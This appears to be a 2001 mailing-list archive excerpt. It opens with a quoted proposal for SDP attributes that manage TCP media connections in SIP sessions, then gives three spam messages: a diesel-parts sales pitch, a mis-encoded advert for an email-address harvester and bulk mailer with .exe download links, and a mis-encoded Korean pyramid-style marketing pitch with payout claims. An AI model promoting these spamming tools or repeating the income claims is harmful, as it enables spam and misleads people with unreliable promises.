>     This attribute is used to indicate that a new connection shall be created.
>     <k> indicates the number of connections to be newly created or accepted.
>     If not present, the value defaults to "a=new:1"
> 
>     a=reuse
> 
>     The existing connection(s) shall be re-used.
> 
>     Note that we could also default to "a=reuse" but then we'd have to mandate
>     a=new:1 in the initial INVITE, the SAP announcement, etc.
> 
>     a=close:<identification?>
> 
>     This attribute is used to indicate that the existing connection(s) shall be
>     closed.  Some identification may be needed here.
> 
>     a=nconn:<total> <max>
> 
>     This attribute is used to indicate how many connections the peer(r) is
>     expected have open in total after (or before? need to make a choice here)
>     new ones are created and old ones closed) and also the maximum number of
>     simultaneous connections support by the peer.  The value "*" is used to
>     indicate infinity.  (This would e.g. be used for SAP announcements or
>     whenever many parties are supposed to connect to a single server.)
> 
>     The default value are "a=nconn:1 *".
> 
> The attributes from the comedia draft are used as specified there:
> 
>     a=direction:passive,active,both
> 
> Some Issues:
> 
> 1.  If a close: attribute is present, how does the receiver determine which
>     connection to close?  Provide explicitly the IP address + port of the
>     peer?  What to do if these are not known?  What to do if a listening
>     port has been used to accept multiple connections at the peer? Specify
>     the other side as well?  Again, these might not be known.  Introduce
>     IDs?  Just saying "all or nothing" is not necessarily appropriate.
> 
>     Suggestion: is "all or nothing" enough?
> 
> 2.  The entire close: may get nasty if separate applications are forked to
>     handle the communication via TCP.  How does one synchronize these
>     media streams with re-INVITEs?
> 
>     Suggestion: do not worry; put in a note that this needs to be solved
>     per application.  E.g. if I transmit a fax and put the call on hold
>     this may not necessarily be a good idea.
> 
> --
> 
> 1. Simple setup of a connection-oriented media session
> 
>    Take the example from the current comedia spec would remain identical
>    in the simplest case, e.g. as follows:
> 
>         c=IN IP4 10.1.1.2
>         m=image 54111 TCP t38
>         a=direction:passive
>        [a=new:1]
>        [a=nconn:1 *]
> 
> 2./3. Media-on-hold is signalled similar to RTP by using e.g. a=inactive.
>    For media-on-hold the TCP connection MUST be kept open (and thus an
>    a=reuse MUST be given) unless a=close is specified; in this case,
>    a resume for the media stream MUST NOT contain an a=reuse
> 
>    On-hold without closing
> 
>         c=IN IP4 10.1.1.2
>         m=image 54111 TCP t38
>         a=inactive
>         a=reuse
> 
>    Off-hold without closing
> 
>         c=IN IP4 10.1.1.2
>         m=image 54111 TCP t38
>        [a=sendrecv]
>         a=reuse
> 
>    On-hold with closing
> 
>         c=IN IP4 10.1.1.2
>         m=image 54111 TCP t38
>         a=inactive
>         a=close
> 
>    Off-hold after closing
> 
>         c=IN IP4 10.1.1.2
>         m=image 54111 TCP t38
>        [a=sendrecv]
>         a=direction:passive
>        [a=new:1]
>        [a=nconn:1 *]
> 
> 4. Re-direct to a different address; if a close is specified,
>    then new MUST specified if the stream should continue right away
> 
>         c=IN IP4 10.1.1.2
>         m=image 54111 TCP t38
>         a=close
>         a=passive
>         a=new:1
> 
>    Of course, this may be combined with on-hold/off-hold with closing.
> 
> 5. Change stream caps
> 
>    Initial INVITE
> 
>         c=IN IP4 10.1.1.2
>         m=image 54111 TCP t38
>         a=passive
> 
>    Re-INVITE
> 
>         c=IN IP4 10.1.1.2
>         m=image 54111 TCP xyz
>         a=reuse
> 
> 6. Stream termination
> 
>    Re-INVITE:
> 
>         c=IN IP4 10.1.1.2
>         m=image 54111 TCP t38
>         a=close
> 
>    (this will allow to re-use the media stream later on)
> 
>    or
> 
>         c=IN IP4 10.1.1.2
>         m=image 0 TCP t38
> 
>    (this will not allow later re-use)
> 
> 7. Support for multiple connections
> 
>    Initial INVITE: set up two connections (max 4 are supported)
> 
>         c=IN IP4 10.1.1.2
>         m=image 54111 TCP ftp-data
>         a=new:2
>         a=passive
>         a=nconn:2 4
> 
>    Re-INVITE: add another connection (here a=new: is mandatory)
> 
>         c=IN IP4 10.1.1.2
>         m=image 54111 TCP ftp-data
>         a=new:1
>         a=nconn:3 4
> 
> As noted above, some more detailed spec tex will follow.
> 
> Cheers,
> Joerg

From confctrl-owner  Fri Dec 21 20:59:32 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id UAA15661
	for confctrl-outgoing; Fri, 21 Dec 2001 20:59:32 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id UAA15656
	for <confctrl@zephyr.isi.edu>; Fri, 21 Dec 2001 20:59:31 -0800 (PST)
Received: from bnet1.bangorsd.org ([206.245.186.213])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fBM50Kg00181
	for <confctrl@isi.edu>; Fri, 21 Dec 2001 21:00:20 -0800 (PST)
X-GWIA: Fri, 21 Dec 2001 19:18:29 -0500; c([202.109.216.8])
Received: from c
	([202.109.216.8])
	by bnet1.bangorsd.org; Fri, 21 Dec 2001 19:18:29 -0500
From: <AGH_U745GZh@ldnWFHF3uST.HDeI2n_j39d.com>
Reply-To: c.h@china-lutong.com
Message-ID: {13523B8D-F6B4-11D5-AD29-444553540000}@c
Subject: Head & Rotor VE(CHINA-LuTong) 12/22
To: <87pLm2PF3hN@R1zW4GxSI5o.TGOv_U7bLpV.com>
X-Mailer: DiffondiCool V3,1,7,1 (W95/NT) (Build: Apr 14 2000)
Mime-Version: 1.0
Date: Sat, 22 Dec 2001 08:15:35 +0800
Content-Type: multipart/mixed; boundary="----=_NextPart_000_007F_01BDF6C7.FABAC1B0"
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a MIME Message

------=_NextPart_000_007F_01BDF6C7.FABAC1B0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Dear Sir,  
   My name is ChenHua, and I'm writing on behalf of the 
China-Lutong mechanical company=2E Located in the south east 
of China, we specialize in hydraulic heads for the VE 
distributor pump=2E 

   We can supply standard, good quality units at a very 
competitive price=2E The following types are available: 
Engine model VE PUMS code   NO     UNIT PRICE(EX WORKS)
ISUZU)   NP-VE4/11L    096400-1600          $USD40
                                 (NIPPON DENSO)
ISUZU    NP-VE4/11R    146402-0820(zexel)   $USD45
ISUZU    NP-VE4/11L    146402-0920(zexel)   $USD40
ISUZU    NP-VE4/11L    146402-3820(zexel)   $USD45
NISSAN   NP-VE4/12R    146402-4320(zexel)   $USD50
IVECO    NP-VE4/11R    1 468 334 798(BOSCH) $USD45
CUMMINS  NP-VE6/12R    1 468 336 423(BOSCH) $USD50

 In addition,the following models have been produced by 
us,but there is no stock at present=2E
096400-1240     
         (NIPPON DENSO)
1 468 333 323(BOSCH)
2 468 334 021(BOSCH)
2 468 334 050(BOSCH)
1 468 334 565(BOSCH) 
1 468 334 580(BOSCH) 
1 468 334 590(BOSCH)
1 468 334 596(BOSCH)
1 468 334 603(BOSCH) 
1 468 334 604(BOSCH)
1 468 334 837(BOSCH)
1 468 334 874(BOSCH) 
1 468 334 899(BOSCH)
2 468 335 022(BOSCH) 
1 468 336 528(BOSCH) 
1 468 336 464(BOSCH)
1 468 336 480(BOSCH)
2 468 336 013(BOSCH) 
1 468 336 614(BOSCH) 
146400-8821(zexel)
146402-4020(zexel)

VE distributor head:
3-cyl:USD:45/1pcs
4-cyl:USD:45/1pcs
5-cyl:USD:50/1pcs
6-cyl:USD:50/1pcs
 Minimum order is 48pcs a model=2E


  We also can make to order for other models as required=2E

   We use precision forging technology to create our products
and surface treat them using an imported shot-blasting machine=2E
The constant grinding process guarantees identical clearance 
in each plunger=2E 
  
   Because we have been in the field of diesel fuel injection 
systems for quite a few years, we are acquainted with many 
domestic manufacturers of, and sales agents for, parts such as 
injector nozzles, plungers, delivery valves and so on=2E
 
  If you are interested in our products, please contact me=2E Thank
you for your interest in our company=2E



                                    C=2EHua
Sales & purchasing director

HTTP://WWW=2EChina-LuTong=2ECOM
c=2Eh@china-lutong=2Ecom
------=_NextPart_000_007F_01BDF6C7.FABAC1B0
Content-Type: application/octet-stream; name="error.txt"
Content-Transfer-Encoding: quoted-printable
Content-Description: error.txt
Content-Disposition: inline; filename="error.txt"

Sorry, but we couldn't open the attach file when sending this message
original file:
f:\=D7=CA=C1=CF\=B8=F6=C8=CB=CD=BC=C6=AC\=CD=BC=C6=AC\ve'head&rotor'(146833=
6423)=2Ejpg

------=_NextPart_000_007F_01BDF6C7.FABAC1B0--




From confctrl-owner  Sat Dec 22 22:22:56 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id WAA04561
	for confctrl-outgoing; Sat, 22 Dec 2001 22:22:56 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id WAA04556
	for <confctrl@zephyr.isi.edu>; Sat, 22 Dec 2001 22:22:55 -0800 (PST)
Received: from yahwe.mx.gzic.gd.cn ([210.72.1.73])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fBN6Ndg16709
	for <confctrl@isi.edu>; Sat, 22 Dec 2001 22:23:40 -0800 (PST)
Message-Id: <200112230623.fBN6Ndg16709@tnt.isi.edu>
Received: from LOCAL ([61.182.92.76]) by yahwe.mx.gzic.gd.cn
          (Post.Office MTA v3.5.3 release 223 ID# 0-68918U3000L100S100V35)
          with SMTP id cn; Sun, 23 Dec 2001 14:20:33 +0800
Date: 2001-12-23 14:00:10
From: =?ISO-8859-1?Q?=BF=C6=C0=B6=C8=ED=BC=FE=B9=A4=D7=F7=CA=D2?=<myname@mx.gzic.gd.cn>
Reply-to: "=?ISO-8859-1?Q?l_cx@163.net?="<myname@mx.gzic.gd.cn>
To: =?ISO-8859-1?Q??=<zhengyl1975@sina.com>
Cc: 
Subject: =?ISO-8859-1?Q?=C8=ED=BC=FE=CD=C6=BC=F6?=
X-Priority: 1 (Highest)
X-mailer: CDmail3.0
MIME-Version: 1.0
Content-Type: text/plain; charset="GB2312"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by zephyr.isi.edu id WAA04557
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

ÄúºÃ£¡

ÍƼöÁ½¿î WINDOWS ¹¤¾ßÈí¼þ£º

    Ò»¡¢¿ÆÀ¶ÓʼþµØÖ·ËÑÑ°¹¤¾ß CKmail 3.0 
    ===================================

    Èí¼þ˵Ã÷£º
    CKmail 3.0 ÊÇÒ»¿î WINDOWS »·¾³ÏµÄÓʼþµØÖ·ËÑÑ°¹¤¾ß£¬ ÓÃËüÄú¿ÉÒÔ°ÑÄú»úÆ÷µÄÓ²ÅÌÇý¶¯Æ÷»òÓ³ÉäÇý¶¯Æ÷µÄ Email µØÖ·ËѼ¯µ½Ò»Æð£¬Internet Cache ºÍ»ØÊÕÕ¾ÀïµÄÎļþÒ²²»»á©Íø£¬Èç¹ûÄúÔ¸Ò⣬ÄúÉõÖÁ¿ÉÒÔÓÃËûÔÚ .EXE ÎļþÀïËÑÑ°¡£ 

    CKmail 3.0 Ö§³Ö 1000000 ÊýÁ¿¼¶µÄµç×ÓÓʼþËÑÑ°£¬²¢ÇÒËÑÑ°ËٶȲ»»áÓÐËæËÑÑ°µ½µÄµç×ÓÓʼþÊýÁ¿Ôö¼Ó¶ø±äÂýµÄ¸Ð¾õ¡£ 

    CKmail 3.0 ¿ÉÒÔÖ¸¶¨´ýËÑË÷µÄÎļþÀàÐÍ¡¢Ä¿Â¼·¶Î§£¬¿ÉÒÔÖ¸¶¨Ä¿Â¼×éºÏ£¬3.0 °æ±¾Ö§³ÖÊä³ö¸ñʽ¶¨Ò壬CKmail Êä³öµÄµØÖ·Îļþ¿ÉÒÔ·½±ãµÄ±»ÆäËûµÄÓʼþ³ÌÐòʹÓá£ÒÔÇ°°æ±¾µÄ Email µØÖ·¹ýÂË¡¢ÎļþÏÞ³¤¶¨ÒåµÈ¹¦ÄÜÈÔÈ»ÓÐЧ¡£ 

    ÔËÐл·¾³£ºwin9x/NT/2000
    Èí¼þ´óС£º1.6M

    ÏÂÔØÁ¬½Ó£ºhttp://clansoft.51.net/data/ckmail.exe
    Ö÷Ò³µØÖ·£ºhttp://clansoft.yeah.net

    ¶þ¡¢¿ÆÀ¶µç×ÓÓʼþȺ·¢¹¤¾ß CDmail 3.0 
    ===================================

    Èí¼þ˵Ã÷£º
    CDmail 3.0 ÊÇÒ»¿î WINDOWS »·¾³ÏµÄÓʼþȺ·¢¹¤¾ß£¬ ÓÃËüÄú¿ÉÒÔÒ»´Î·¢ËͳÉǧÉÏÍò·âµç×ÓÓʼþ¸ø²»Í¬µÄÓû§¡£µç×ÓÓʼþËùÓеÄÒªËض¼¿ÉÒÔ×ÔÓÉÉèÖÃ[±ÈÈç·¢¼þÈË¡¢ÊÕ¼þÈ˵ȵÈ]£¬Í¼Ðλ¯µÄ½çÃæÈÝÒ×ÉÏÊÖ¡£ 

    3.0 °æ±¾Ö§³Ö HTML ¸ñʽµÄÓʼþ, Ö§³Ö¸½¼þ, Ö§³Öbig5·±ÌåÓʼþ, Ö§³ÖÓû§ÑéÖ¤, ¿ÉÒÔÉ趨ÓʼþÓÅÏȼ¶µÈµÈ£»3.0 °æ±¾»¹Ôö¼ÓÁË SMTP Óʼþ·þÎñÆ÷²éÕÒ¹¦ÄÜ£¬ÃâÈ¥ÁËÓû§×Ô¼º²éÕÒ SMTP µÄÂé·³[ʹÓÿÆÀ¶ÓʼþµØÖ·ËÑÑ°¹¤¾ß CKmail 3.0 ¿ÉÒԵõ½´óÁ¿µç×ÓÓʼþµØÖ·£¬ÓÃÓÚ SMTP ·þÎñÆ÷µÄ²éÕÒ]¡£3.0 °æ±¾Ö§³Ö¹úÍâµÄ SMTP ·þÎñÆ÷£¬Îȶ¨ÐԺã¬Ö§³ÖÐø·¢£¡ 	

    ÔËÐл·¾³£ºwin9x/NT/2000
    Èí¼þ´óС£º1.7M

    ÏÂÔØÁ¬½Ó£ºhttp://clansoft.51.net/data/cdmail.exe
    Ö÷Ò³µØÖ·£ºhttp://clansoft.yeah.net


ÍƼöÒ»¿î UNIX Èí¼þ£º

    ¿ÆÀ¶¼¯³É¿ª·¢ÏµÍ³ for UNIX
    =========================

¬ì¬ìUNIX ϵļ¯³É¹¤¾ß¼¯£¬°üÀ¨²Ëµ¥Çý¶¯Æ÷£¬¶þ½øÖÆÆÁÄ»±à¼­Æ÷£¬Í¼Ðΰü£¬Ó¢ººË«ÏòÄ£ºý´Êµä£¬±³µ¥´Ê£¬¼¸¸öСÓÎÏ·ÒÔ¼°ÆäËûÖڶ๤¾ß¡£

    ÔËÐл·¾³£ºSCO UNIX
    Èí¼þ´óС£º1.8M

    ÏÂÔØÁ¬½Ó£ºhttp://clansoft.51.net/data/clan.zip
    Ö÷Ò³µØÖ·£ºhttp://clansoft.yeah.net
-=======================================================-
±¾ÓʼþÓÉȺ·¢¹¤¾ß CDmail 3.0 ·¢ËÍ£¬ ÓʼþÄÚÈÝÓëÈí¼þ×÷ÕßÎÞ¹Ø
This email is send by <CDmail 3.0>, developed by ClanSoft
     ClanSoft's homepage is http://clansoft.yeah.net
-= ·¢²¼ÐÅÏ¢ ÕÒÐÅÏ¢±¦ http://clansoft.51.net/gb/xxb.htm =-



From confctrl-owner  Sun Dec 23 03:45:13 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id DAA14878
	for confctrl-outgoing; Sun, 23 Dec 2001 03:45:13 -0800 (PST)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id DAA14873
	for <confctrl@zephyr.isi.edu>; Sun, 23 Dec 2001 03:45:12 -0800 (PST)
Received: from hotmail.com ([218.145.174.114])
	by gamma.isi.edu (8.11.6/8.11.2) with SMTP id fBNBk1H29490
	for <confctrl@isi.edu>; Sun, 23 Dec 2001 03:46:02 -0800 (PST)
Message-Id: <200112231146.fBNBk1H29490@gamma.isi.edu>
Reply-To: dlatmdejr123@hotmail.com
From: »ç¶û <dlatmdejr123@hotmail.com>
To: <confctrl@ISI.EDU>
Subject: [±¤°í] ¶ó¸éµå½Ã±¸ ¹Ì·¡»ç¾÷(6°³¿ù¿ù±ÞÀÌ»ó) µ¿Âü!!!!
Mime-Version: 1.0
Content-Type: text/html; charset="ks_c_5601-1987"
Date: Sun, 23 Dec 2001 20:45:04 +0900
X-Priority: 3
X-Mailer: Mailtouch 1.0
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

<table cellpadding=0 cellspacing=0 border=0>
<tr>
<td width=100% background='http://www.itnsoft.com/ad/top/up_back.gif'><a href='http://www.itnsoft.com/ad/top/logo_link.html'><img src='http://www.itnsoft.com/ad/top/logo.gif' border=0></a></td>
<td><a href='http://www.itnsoft.com/ad/top/banner_link.html'><img src='http://itnsoft.com/ad/top/banner.gif' border=0></a></td>
</tr>
</table>

<html>
<head>
<title>Á¦¸ñ¾øÀ½</title>
<meta name="generator" content="Namo WebEditor v4.0">
</head>
<body bgcolor="white" text="black" link="blue" vlink="purple" alink="red">
<p>
<marquee behavior=slide scrollamount=10><FONT COLOR="blue" SIZE="5"><B>
<span style="BACKGROUND-COLOR: rgb(247,240,233)">SOHO Business</span></B></FONT></marquee>
<br><font size="10"><font color="blue" face="±¼¸²"><marquee behavior="alternate" scrollamount=1 direction="up" height="18"> </font>
<span style="FONT-SIZE: 10pt; BACKGROUND-COLOR: yellow"><font color="blue" face="±¼¸²">
¡ß¡ß¡ß</font><font color="red" face="±¼¸²">Á¦2ÀÇ ¼öÀÔ¿ø</font><font color="blue" face="±¼¸²">À» ¿øÇϽŴٸé Á¦°¡¼Ò°³ÇÏ´Â ÀÌ»çÀÌÆ®¸¦ </font><font color="red" face="±¼¸²">Àý´ë</font><font color="blue" face="±¼¸²">³õÄ¡Áö ¸¶¼¼¿ä!!¡ß¡ß¡ß</font></span><span style="FONT-SIZE: 10pt"><font color="blue" face="±¼¸²"></font></span></MARQUEE></font></SPAN><span style="FONT-SIZE: 9pt"><br><br></FONT></span><IMG height=28 src="http://my.dreamwiz.com/ssamzimoney/2-ms/pic/hh96.gif" width=28 border=0><font size="10"><span style="FONT-SIZE: 9pt">¡á¡á¹Ì±¹ÀÇ
Åë°èÀÚ·áÀÔ´Ï´Ù.¡á¡á
<br>
<br>20¼¼¿¡¼­ 65¼¼±îÁö 45³â°£ Á÷Àå»ýÈ°À» ÇÏ°íµµ
<br>45%·Î³ª µÇ´Â »ç¶÷ÀÌ Ä£ÀÎô¿¡ ÀÇÁ¸À» Çؼ­ »ýÈ°À» ÇÏ°í ÀÖ°í
<br>30% »çȸº¹Áö »ýÈ°
<br>23% »ý°è¼ö´ÜÀ» À§ÇØ Á×À» ¶§±îÁö ÀÏÀ»ÇÏ°í ÀÖ´Ù°í ÇÕ´Ï´Ù.
<br>´Ü,2% ¸¸ÀÌ ÀھƽÇÇöÀ» Çؼ­ ½Ã°£Àû,°æÁ¦Àû ÀÚÀ¯¸¦ ¿µÀ§ÇÏ¸ç »ì¾Æ°¡°í ÀÖ´Ù´Â »ç½Ç
<br>Á¤¸» ³î¶óÁö ¾ÊÀ» ¼ö ¾ø½À´Ï´Ù.
<br>
<br>´©±¸³ª Àß »ì±â À§Çؼ­ ¿­½ÉÈ÷ ³ë·ÂÀ» ÇßÁö¸¸ <font color="red">2%</font>¸¸ÀÌ ÀھƽÇÇöÀ» ÇѴٴ°ÍÀÌ
<br>Á¤¸» ¹Ï¾îÁöÁö ¾Ê¾Ò½À´Ï´Ù.
<br><br>2%¼Ó¿¡ ¼ÓÇÑ »ç¶÷µéÀÌ ´ëºÎºÐ ³×Æ®¿öÅ© Á¾»çÀÚ¶ó°í ÇÕ´Ï´Ù.
<br>ÄÄÇ»ÅÍÀÇ È²Á¦¶ó°í ºÒ¸®´Â ºô°ÔÀÌÃ÷µµ ÀÚ½ÅÀÌ ÄÄÇ»ÅÍ »ç¾÷À» ÇÏÁö ¾Ê¾Ò´Ù¸é
<br>³×Æ®¿öÅ© ¸¶ÄÉÆÃÀ» ÇßÀ»°Å¶ó°í ÇÏ´õ±º¿ä
<br></span>
</font><p><font size="10"><span style="FONT-SIZE: 9pt">Á¦°¡ ¼Ò°³ÇÏ°íÀÚÇÏ´Â »çÀÌÆ®´Â ¹Ì·¡¿¡´Â(ÁÖ)³×Æ®¿öÅ© ȸ»çÀÔ´Ï´Ù.
<br>Á¦Ç°Àº ´©±¸³ª Áñ±â´Â Á¦Ç° ´©±¸³ª ã´ÂÁ¦Ç° ¹Ì·¡Æ¯¸éÀ» ³×Æ®¿öÅ©¿¡ Á¢¸ñÀ» Çؼ­
<br>ȸ¿øÀ» ¸ðÁýÇÏ°í ÀÖÁÒ!!
<br>
<br><font color="teal">¢Ä</font><font color="red">ON,OFF </font>¶óÀο¡¼­ È°µ¿ÀÌ °¡´ÉÇÏ¸ç ´Ù¸¥ ÀÎÅÍ³Ý µ·¹ú±âº¸´Ù Â÷¿øÀÌ ´Ù¸£
<br>                    ´Ù´Â °ÍÀ»
¸»¾¸µå¸± ¼ö°¡ ÀÖ½À´Ï´Ù.
<br></font></SPAN>
<P><hr>
<P></P>
<font size="10"><span style="FONT-SIZE: 9pt">
<P><br></font></SPAN><IMG height=28 src="http://my.dreamwiz.com/ssamzimoney/2-ms/pic/hh96.gif" width=28 border=0><font size="10"><span style="FONT-SIZE: 9pt">¢Ñ<font color="navy"><b>ȸ»ç¼Ò°³ ¹× ¿¬¿ª</b></font>
<BR>
<BR>ȸ»ç¸í : ¹Ì·¡¿¡´Â(ÁÖ), http://www.2-ms.com
<BR>
<BR>ÁÖ ¼Ò : ¼­¿ï½Ã ¿µµîÆ÷±¸ ¿µµîÆ÷µ¿ 3°¡8¹øÁö
<BR>
<BR>¹ýÀλç¾÷ÀÚ µî·Ï ¹øÈ£ : 107-81-69105
<BR>
<BR>¼³¸³ÀÏ : 1999³â 10¿ù
<BR>
<BR>Àü È­ : 02 - 675- 1187
<BR>
<BR>´ëÇ¥ÀÌ»ç : ±è ¿õ ±â
<BR>
<BR>ÀÚº»±Ý¸¸ 3¾ïÀÌ ³Ñ´Â Æ°Æ°ÇÑ ¹ýÀÎȸ»çÀÔ´Ï´Ù
<BR>Çù·Â¾÷ü===&gt;(ÁÖ)<font color="teal">¿¬µÎ¿ø</font></span><BR><span style="FONT-SIZE: 9pt">
<br>
</P></FONT></SPAN>
<P><hr>
<P></P>
<P> <IMG height=28 src="http://my.dreamwiz.com/ssamzimoney/2-ms/pic/hh96.gif" width=28 border=0><font size="10"><span style="FONT-SIZE: 9pt">¢Ñ<font color="navy"><b>º¸»óÇ÷£
<br><br></b></font><font color="red">5´Ü°è ÇÁ¸®¸ÖƼ ·¹º§¹æ½Ä</font>
<br>ÀúÈñ "¹Ì·¡¿¡´Â"ÀÇ º¸»óÁ¦µµ´Â
<BR>1´Ü°è 10%, 2 ~ 5´Ü°è 5% ÀÇ ¼ö´çÀ» Áö±ÞÇÏ¿© µå¸³´Ï´Ù.
<br>
<BR>¿¹¸¦ µé¾î »ç¾÷ÀÚ°¡ µÇ¾î ù ÁÖ¿¡ 5¸íÀÇ È¸¿øÀ» ¿Â.¿ÀÇÁ¶óÀÎ È«º¸·Î
<BR>µî·Ï½ÃÅ°°í ±×µéµµ »ç¾÷ÀÚ°¡ µÇ¾î °¢°¢ 5¸í¾¿ 5´Ü°è±îÁö ³»·Á°£´Ù¸é...
<BR>¢ºÆ÷ÀÎÆ®: "5system" Àû¿ë
<br> ¢º°¢ ȸ¿øÀº ÇϺÎȸ¿øÀÌ 5¸í¾¿ ¸ðÀ» ¼ö ÀÖ°Ô Áö¿øÇÑ´Ù
<BR><BR>1´Ü°è 5¸í¡¿10%=12,000¿ø
<BR>2´Ü°è 25¸í¡¿5%=30,000¿ø
<BR>3´Ü°è 125¸í¡¿5%=150,000¿ø
<BR>4´Ü°è 625¸í¡¿5%=750,000¿ø
<BR>5´Ü°è 3125¸í¡¿5%=3,750,000¿ø
<BR>
<BR>ÃÑ ÇÕÀÌ 4,692,000 ¿ø ÀÔ´Ï´Ù
<BR>¸Å´Þ ´ç½ÅÀº ÃÑ 4,692,000 ¿øÀÇ ¼ö´çÀ» ¹ÞÀ¸½Ã°Ô µË´Ï´Ù.
<BR>(¹Ì·¡Æ¯¸éÀÇ ¿¹)
<br></P></FONT></SPAN>
<P><HR>
<P></P>
<P><IMG height=28 src="http://my.dreamwiz.com/ssamzimoney/2-ms/pic/hh96.gif" width=28 border=0><font size="10"><span style="FONT-SIZE: 9pt">¼ö´ç Áö±ÞÀº ¸Å´Þ 30ÀÏ ¸¶°¨ÇÏ¿© ´ÙÀ½´Þ 5ÀÏ ÅëÀå ÀԱݵ˴ϴÙ.
<BR></span><FONT color=blue><span style="FONT-SIZE: 9pt">´Üµ· 1000¿øÀÌ¶óµµ ÀÔ±Ý</span></FONT><span style="FONT-SIZE: 9pt">ÀÌ µÇ´Ï, Á¶±Ý¸¸ ³ë·ÂÇϽŴٸé ÇÑ´ÞµÚ¿¡ ÅëÀå¿¡
<BR>ÀÔ±ÝµÈ µ·À» È®ÀÎ ÇϽǼö ÀÖ½À´Ï´Ù.. ¾È½ÉÀÌ µÇ½Ã°ÚÁ®? ¸Å´Þ ÅëÀåÀ¸·Î ÀÔ±ÝÀÌ µÇ´Ï±î ¸»ÀÌ¿¹¿ä.
<BR>¶ÇÇÑ ºÎµµ °ÆÁ¤Àº ¾ÈÇϼŵΠµÉ°Å °°¾Æ¿©~ ¿Ö³Ä¸é..
<BR>
<BR> </span><FONT color=red><span style="FONT-SIZE: 9pt">¢À¼­¿ï ½Ãû¿¡
°øŹ±ÝÀ» ¿¹Ä¡ÇÏ¿© ¼ö´çÀÌ ¹ýÀûÀ¸·Î º¸È£ µË´Ï´Ù¢À</span></FONT><span style="FONT-SIZE: 9pt">
<BR>
<BR>Áö±Ý±îÁö ¸¹Àº ÀÎÅÍ³Ý M.L.M ¸¶ÄÉÆÃÀÌ ¼ºÇàÇÏ¿´À¸³ª ºÒ¹ý, ¶Ç´Â
<BR>¿Ü±¹°è M.L.MÀ̶ó ¶óÀÎÀÇ È®Àΰú ¼ö´çÀÇ ¹ÌÁö±ÞµîÀÇ ÇÇÇØ »ç·Ê°¡
<BR>¸¹¾Ò´ø °ÍÀÌ »ç½ÇÀÔ´Ï´Ù. ÇÏÁö¸¸ ¹Ì·¡¿¡´ÂÀº ¾Ö½á ¸ð¾ÆµÐ </span><FONT color=red><span style="FONT-SIZE: 9pt">Àû¸³±Ý
<BR>¸ø¹ÞÀ» °ÆÁ¤Àº ¾ÈÇϼŵµ µË´Ï´Ù.½Ãû¿¡ °øŹ±Ý ¿¹Ä¡·Î ÀÎÇØ ¾ÈÀüÇÕ´Ï´Ù.
<br></span></FONT><span style="FONT-SIZE: 9pt">
<br>ȸ¿ø°¡ÀÔÀº <font color="teal">¹«·áȸ¿ø °¡ÀÔ</font>ÀÌ°í »ç¾÷¼ºÀ» º¸¼Ì´Ù¸é Á¤È¸¿øÀÌ µÇ¾î
<br>»ç¾÷À» ÁøÇàÇÏ½Ã¸é µË´Ï´Ù.
<br>
<br>´©±¸³ª Áñ±â´Â Á¦Ç° ´©±¸³ª ã´Â Á¦Ç° ¹Ì·¡Æ¯¸é(24.000¿ø)À» ³×Æ®¿öÅ©¸¶ÄÉÆÿ¡ Á¢¸ñÀ» Çؼ­
<br>ȸ¿ø ¹× »ç¾÷ÀÚ¸¦ Áö±Ý ¸ðÁýÇÏ°í ÀÖÁö¿ä!! <br>(º¹±Ç 10Àå°ªµµ ¾ÈµÇ´Â
¿ëµ·¼öÁØÀ¸·Î »ç¾÷À» ÇÏ´Ï±î º° ºÎ´ãÀÌ ¾øÁÒ!!)
<br>
<br>´Ù¸¥»ç¶÷º¸´Ù ÇÑ¹ß ¾Õ¼­ À¯¸®ÇÏ°Ô È°µ¿À» Àü°³Çϼ¼¿ä*^^*
<br>
<br>È¥ÀÚÇÏ´Â »ç¾÷Àº Àý´ë ¾Æ´Õ´Ï´Ù. Á¦°¡ ÃßõÇÑ ÃßõÀÎÀÌ ÀßµÇ¾ß Àú¶ÇÇÑ ¼º°øÇÒ ¼ö
<br>Àֱ⠶§¹®¿¡ <font color="#ff6633">ON¶óÀÎ</font>¿¡¼­ »ç¾÷Àü°³ ¿ä·ÉÀ̳ª È«º¸Çϴ¹ý ¿©·¯ °¡Áö ¸¹Àº Áö¿øÀ» ÇÏ°í ÀÖÁö¿ä!!
<br>
<br>¿ì¼± °¡ÀÔÀ» ÇϽðí ÀúÇÑÅ× ¸ÞÀÏÀ» ºÎŹÇÕ´Ï´Ù.
<br>¾ÆÁ÷µµ ¸Á¼³À̼¼¿ä~~~~~*
<br>¹ÏÁö ¸øÇϽðڴٱ¸¿ä!! ±âȸ´Â ½½±×¸Ó´Ï ´Ù°¡¿À´Â°Ì´Ï´Ù. ¹ÏÁö ¸øÇÏ°ÚÀ¸¸é Çѹø
<br>¹Ì·¡¿¡´Â(ÁÖ) »çÀÌÆ®¿¡ È®ÀÎÀ» ÇÏ½ÅµÚ ÆÇ´ÜÇϼ¼¿ä
<br>
<br><FONT size=3>ÃßõÀÎ:¢Ñ <font color="red"><STRONG>ofby4you, siwon, lmkwt, c0927, shadow,
</STRONG><STRONG>kommi</STRONG><A
href="index.cgi?top_id=shadow&amp;db=1"><BR></A></font></FONT></span></font><FONT
size=10><SPAN style="FONT-SIZE: 9pt">
<br><font color="#009ca0">¹Ì·¡¿¡´Â(ÁÖ):¢Ñ</font><a href="http://www.2-ms.com/shop/" target="_blank"><font color="purple">http://www.2-ms.com/shop/</font><font color="#009ca0"><br></font></a><font color="#009ca0"><br>(°¡ÀÔÀ»
